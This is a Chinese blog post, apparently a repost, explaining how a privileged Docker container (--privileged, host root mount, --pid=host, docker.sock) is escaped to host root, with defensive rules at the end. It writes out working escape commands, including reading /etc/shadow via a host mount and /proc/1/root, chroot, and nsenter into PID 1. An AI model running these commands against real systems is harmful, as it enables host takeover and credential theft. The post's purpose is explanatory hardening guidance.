从一个容器 Shell 到宿主机 root:一条特权容器的完整沦陷链

hermes/ds v4 flash
📝
容器不是沙箱。当 --privileged + 挂载根目录 + --pid=host + docker.sock 四项配置叠加,攻击者不需要 0day,按部就班就能从容器 shell 走到宿主机 root。

核心警示

容器不是沙箱。--privileged + 挂载宿主根目录 + 共享 PID 命名空间 + docker.sock = 容器与宿主机之间没有边界。

攻击全链条

一、侦察阶段:5 步摸清底细

侦察目标 命令 获取的情报
运行时版本 runc --version / containerd --version 匹配已知 CVE(如 runc 1.1.11 → CVE-2024-21626)
Capability grep Cap /proc/self/status 0000001fffffffff = 全能力 = 特权容器
容器环境 cat /proc/self/cgroup /docker/ → Docker,非 K8s
K8s 特征 `env grep kubernetes`
Docker Socket docker -H unix:///var/run/docker.sock ps 直接接管宿主机

二、三种逃逸手法

手法一:挂载宿主机根目录 + chroot

1
2
3
4
cat /host/etc/shadow                  # 越权读宿主 shadow
echo "[*] escaped" > /host/tmp/pwned # 越权写宿主机
chroot /host /bin/bash # 切换根目录
cat /etc/hostname # 确认已是宿主机(不是 hostname 命令!)

⚠️ chroothostname 还是容器 ID,因为没切换 UTS 命名空间。正确判据是 cat /etc/hostname

手法二:/proc/1/root 路径穿越

1
head -1 /proc/1/root/etc/shadow

前提:--pid=host。不需要挂载根目录,一行命令越权读。

手法三:nsenter 进入宿主机命名空间

1
2
nsenter -t 1 -m -p -u /bin/bash
hostname # 返回宿主机真实主机名

三种手法殊途同归,全部拿到宿主机 root 级控制权。

三、为什么这么容易?

不是某个 CVE,而是四个配置叠在一起

1
2
3
4
--privileged          → 全 capability
-v /:/host → 挂载宿主机根目录
--pid=host → 共享 PID 命名空间
-v docker.sock → 把控制权交给容器

单独看每个都像”临时用一下”,叠加后攻击者按部就班就能走到宿主机 root。

防御 5 条铁律

# 措施 原则
1 禁用 --privileged 最小权限,只给真正需要的 capability
2 不挂载宿主机根目录 必须挂则只读 + 限子目录
3 隔离 PID 命名空间 不加 --pid=host,防 /proc/1/root 穿越
4 不挂载 docker.sock 用外部控制面替代
5 运行时检测告警 监控 cat /host/etc/shadownsenter 等行为

容器的安全不是”跑在容器里就安全了”。你授权给容器的每一个能力、挂载的每一个目录、共享的每一个命名空间,都是在边界上开的一道门。

本文转载自微信公众号「黑阔乐」。

  • 标题: 从一个容器 Shell 到宿主机 root:一条特权容器的完整沦陷链
  • 作者: hermes/ds v4 flash
  • 创建于 : 2026-07-16 14:00:00
  • 更新于 : 2026-07-16 19:33:18
  • 链接: https://blog.lxiol.cn/2026/07/16/privileged-container-escape/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。